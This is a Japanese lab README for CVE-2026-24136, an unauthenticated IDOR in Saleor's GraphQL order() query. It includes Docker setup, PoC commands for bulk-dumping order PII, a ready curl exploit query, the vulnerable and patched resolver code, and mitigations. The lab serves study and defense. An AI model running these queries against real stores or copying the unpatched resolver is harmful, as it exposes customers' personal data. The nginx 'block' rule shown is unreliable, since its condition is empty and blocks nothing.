
CVE-2026-24136 | Saleor GraphQL のIDOR脆弱性を悪用するラボ - order()クエリが認証をチェックしないため、顧客の全PII(電子メール、住所、電話番号)が漏洩します。Docker環境、シードデータスクリプト、およびPoCを含みます。CVSS 4.0: 8.7 HIGH.
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-24136 |
| 脆弱性タイプ | IDOR - ユーザー制御キーによる認証回避 (CWE-639) |
| ソフトウェア | Saleor eコマースプラットフォーム |
| 影響を受けるバージョン | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| 修正バージョン | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| 影響 | 未認証の攻撃者が任意の注文のPII(氏名、住所、電話番号、メールアドレス)を読み取る |
| 認証の必要性 | 不要 |
Saleorは、eコマースの注文を管理するためのGraphQL APIを提供しています。クエリ order(id: $id) を使用すると、グローバルIDで注文の詳細を取得できます。影響を受けるバージョンでは、このクエリは呼び出し元がその注文を表示する権限があるかどうかをチェックしません。
完全に匿名のユーザー(アカウントを持たないユーザー)であっても、このクエリを呼び出して顧客の完全なPII(メールアドレス、氏名、配送先住所、電話番号、ログイン履歴)を取得できます。
cve-2026-24136-lab/
├── docker-compose.yml # ラボ環境 (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # 自動起動スクリプト (Windows PowerShell)
├── setup_lab.sh # 自動起動スクリプト (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # 起動ラッパー: wsgiバグの修正 + gunicorn
├── seed_data.py # PIIを含む被害者アカウントと注文を作成
└── poc_cve_2026_24136.py # エクスプロイトPoC
pip install requests# 必要に応じて実行ポリシーを変更
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# 自動セットアップを実行
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. コンテナを起動
docker compose up -d
# 2. APIが準備できるのを待つ (~60-90秒)
# 確認: curl http://localhost:8000/health/
# 3. 管理者アカウントを作成
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. 商品/チャネルを投入
docker exec cve_saleor_api python manage.py populatedb
# 5. 被害者データを作成 (PIIを含むアカウントと注文)
cd scripts
pip install requests
python seed_data.py
起動後のエンドポイント:
| サービス | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| 管理者 | [email protected] / admin |
cd scripts
# 技術的説明を表示
python poc_cve_2026_24136.py explain
# シードされたリストからエクスプロイト (推奨 - Saleor 3.xはUUID IDを使用)
python poc_cve_2026_24136.py file order_ids.json
# 単一の注文をbase64グローバルIDで直接エクスプロイト
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# シーケンシャルに列挙 (整数IDを使用するSaleor < 3.xでのみ動作)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# ターゲットAPIの変更
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# 結果をJSONに保存
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
SaleorはRelay GraphQL仕様に準拠した「Global Object Identification」を使用しています。各オブジェクトは次の形式のグローバルIDで識別されます:
base64("<TypeName>:<internal_id>")
Saleor 3.xの注文の場合:
# internal_idはUUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
注: Saleor 2.xでは整数のシーケンシャルID (
Order:1,Order:2, ...) を使用していたため、列挙が容易でした。
Saleor 3.xではUUIDに変更されたため、攻撃者は他の方法(注文確認メール、URL漏洩など)でUUIDを入手する必要があります。
ファイル: saleor/graphql/order/resolvers.py
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
"""Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session
ファイル: saleor/graphql/order/schema.py
# Query definition, không khai báo permissions
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Không có @permission_required, không có guard nào
送信するクエリにはAuthorizationヘッダーが含まれません:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# curlで送信、トークン不要
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# レスポンス (認証不要):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
Attacker (anonymous) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NO Authorization header) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
ファイル: saleor/graphql/order/resolvers.py
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
"""Resolve order by ID với authorization check đầy đủ."""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# Guard 1: Staff và App có thể xem mọi order
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
if not info.context.user or not info.context.user.is_authenticated:
return None
# Guard 3: Authenticated user chỉ được xem order của chính mình
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
ファイル: saleor/graphql/order/schema.py
# Thêm annotation để document permission requirement
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)
─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ PII bị lộ
─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ Trả null, không có lỗi (intentional – không để attacker
biết order có tồn tại hay không)
─────────────────────────────────────────────
nullを返すのか?認証されていないリクエストに対してPermissionDeniedではなくnullを返すのは意図的な設計です:
PermissionDeniedを返すと、攻撃者は注文が存在することを知ることができます(存在オラクル)nullを返すと、攻撃者は「権限がない」のか「存在しない」のかを区別できませんこれはGraphQL層で適用されるタイミングセーフな存在チェックの手法です。
raise PermissionDeniedを使うのか?ログインしている場合、明確なエラーを返すことでデバッグが容易になります。存在オラクルは問題になりません。なぜなら:
Integer IDs (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ N個の注文を列挙するのにO(N)リクエストが必要
→ 攻撃者は二分探索で注文の総数を特定できる
UUID IDs (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ 探索空間: 2^122 (UUID v4は122ビットの乱数)
→ 実際的なブルートフォースは不可能
→ ただし、IDは注文確認メール、ダッシュボードのURL、APIレスポンス、ログなどを通じて漏洩するため、攻撃者が1つのIDを入手すれば、依然としてエクスプロイト可能
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – Attack Vector: Network (インターネット経由でエクスプロイト可能)
AC:L – Attack Complexity: Low (特別な条件は不要)
PR:N – Privileges Required: None (アカウント不要)
UI:N – User Interaction: None (被害者の操作不要)
S:U – Scope: Unchanged (Saleor APIのみに影響)
C:H – Confidentiality: High (完全なPIIが漏洩)
I:N – Integrity: None (データの改ざんは不可)
A:N – Availability: None (DoSは発生しない)
# 現在のバージョンを確認
pip show saleor | grep Version
# 修正バージョンにアップグレード
pip install "saleor>=3.20.110" # 3.20.x系を使用している場合
pip install "saleor>=3.21.45" # 3.21.x系を使用している場合
pip install "saleor>=3.22.29" # 3.22.x系を使用している場合
匿名ユーザーによるorder()クエリの呼び出しをブロック:
# Nginx – 認証されていないリクエストからのGraphQL orderクエリをブロック
location /graphql/ {
# Authorizationヘッダーがなく、ボディに"order("が含まれる場合
if ($http_authorization = "") {
# エクスプロイトの兆候があるクエリをブロック
# 注: これは一時的な解決策であり、パッチの代わりにはなりません
}
proxy_pass http://saleor_api;
}
AWS WAF / CloudFrontの場合:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# 認証されていないIPからのリクエストを制限
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
アクセスログにおけるエクスプロイトの兆候:
# 検出: 1つのIPから多数の認証なしGraphQLリクエスト
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # 1つのIPから20リクエスト以上でアラート
# 検出: 認証なしリクエストボディ内の"order"パターン
# (JSONボディログが必要)
Grafana / Datadog用のアラートルール:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "CVE-2026-24136の悪用試行の可能性"
description: "認証されていないGraphQL POSTリクエストの高レート"
# コンテナとボリュームを停止・削除 (データをすべて削除)
docker compose down -v
# コンテナのみ停止 (データを保持)
docker compose stop
警告: このラボは研究、学習、セキュリティレポート作成のみを目的としています。
書面による許可なく、実際のシステムでPoCを使用しないでください。